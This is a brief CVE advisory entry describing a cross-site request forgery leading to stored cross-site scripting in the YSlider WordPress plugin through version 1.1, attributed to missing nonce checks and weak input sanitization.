CVE-2025-12590

Description

The YSlider plugin for WordPress is vulnerable to Cross-Site Request Forgery to Stored Cross-Site Scripting in all versions up to, and including, 1.1. This is due to missing nonce verification on the content configuration page and insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages via a forged request granted they can trick an administrator into performing an action such as clicking on a link. The injected scripts will execute whenever a user accesses an injected page.
